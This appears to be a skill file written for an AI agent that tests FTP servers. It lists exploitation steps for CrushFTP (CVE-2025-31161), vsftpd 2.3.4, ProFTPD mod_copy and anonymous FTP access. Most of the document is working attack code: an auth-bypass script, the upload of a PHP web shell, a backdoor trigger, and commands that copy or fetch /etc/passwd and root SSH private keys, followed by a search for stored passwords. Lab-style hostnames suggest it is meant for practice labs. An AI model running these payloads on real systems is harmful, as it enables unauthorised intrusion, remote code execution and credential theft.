| name | FTP Server Exploitation |
| description | This skill should be used when FTP services are detected including:
- CrushFTP (CVE-2025-31161 auth bypass)
- vsftpd (backdoor)
- ProFTPD (mod_copy)
- Pure-FTPd, FileZilla Server
Covers authentication bypass, file access, and privilege escalation.
|
| version | 1.0.0 |
FTP Server Exploitation Skill
Service Identification
Banner Analysis
nmap -sV -sC -p 21 <TARGET>
nc <TARGET> 21
curl ftp://<TARGET>
Common FTP Servers
| Banner Contains | Server | Notable Vulns |
|---|
| CrushFTP | CrushFTP | CVE-2025-31161 auth bypass |
| vsFTPd 2.3.4 | vsftpd | Backdoor RCE |
| ProFTPD 1.3.5 | ProFTPD | mod_copy arbitrary write |
| Pure-FTPd | Pure-FTPd | Check version for vulns |
| FileZilla | FileZilla Server | Config file disclosure |
CVE-2025-31161: CrushFTP Authentication Bypass
CRITICAL - Allows unauthenticated access to any user account
Affected Versions
- CrushFTP < 11.3.1 (v11 branch)
- CrushFTP < 10.8.4 (v10 branch)
Detection
curl -s http://<TARGET>/WebInterface/ | grep -i crush
curl -sI http://<TARGET>/WebInterface/
Exploit: AWS4-HMAC-SHA256 Auth Bypass
#!/bin/bash
TARGET="ftp.target.htb"
USER="admin"
timestamp=$(date +%s)
random=$(head -c 30 /dev/urandom | base64 | tr -dc a-zA-Z0-9 | head -c 30)
cookie="${timestamp}_${random}"
c2f="${cookie: -4}"
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
-H "Cookie: CrushAuth=${cookie}" \
-H "Authorization: AWS4-HMAC-SHA256 Credential=${USER}/" \
-d "command=getUsername&c2f=${c2f}"
echo ""
echo "Authenticated as ${USER}"
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
-H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
-d "command=getUserList&c2f=${c2f}&serverGroup=MainUsers"
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
-H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
-d "command=getXMLListing&c2f=${c2f}&path=/"
File Upload via WebDAV
echo '<?php system($_GET["cmd"]); ?>' | curl -s -X PUT \
"http://${TARGET}/webProd/shell.php" \
-H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
--data-binary @-
curl "http://target.htb/shell.php?cmd=id"
Enumerate VFS Paths
/webProd
/home
/IT
/backup
/.ssh
vsftpd 2.3.4 Backdoor
nc <TARGET> 21
USER backdoored:)
PASS anything
nc <TARGET> 6200
ProFTPD mod_copy (CVE-2015-3306)
nc <TARGET> 21
site cpfr /etc/passwd
site cpto /var/www/html/passwd.txt
site cpfr /root/.ssh/id_rsa
site cpto /var/www/html/id_rsa
Anonymous FTP Access
ftp <TARGET>
curl ftp://anonymous:anonymous@<TARGET>/
wget -r ftp://anonymous:anonymous@<TARGET>/
FTP Bounce Attack
nmap -b anonymous:anonymous@<TARGET> 10.0.0.0/24
Post-Exploitation: Password Hunting
After gaining FTP access, search for:
grep -r "password" /path/to/ftp/
grep -r "pass" /path/to/ftp/
grep -r "credential" /path/to/ftp/
config.php
.env
web.config
settings.xml
database.yml
CrushFTP VFS to SSH Key
If CrushFTP VFS exposes /root or user home directories:
curl -s "http://${TARGET}/.ssh/id_rsa" \
-H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}"
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
-H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
-d "command=getXMLListing&c2f=${c2f}&path=/.ssh"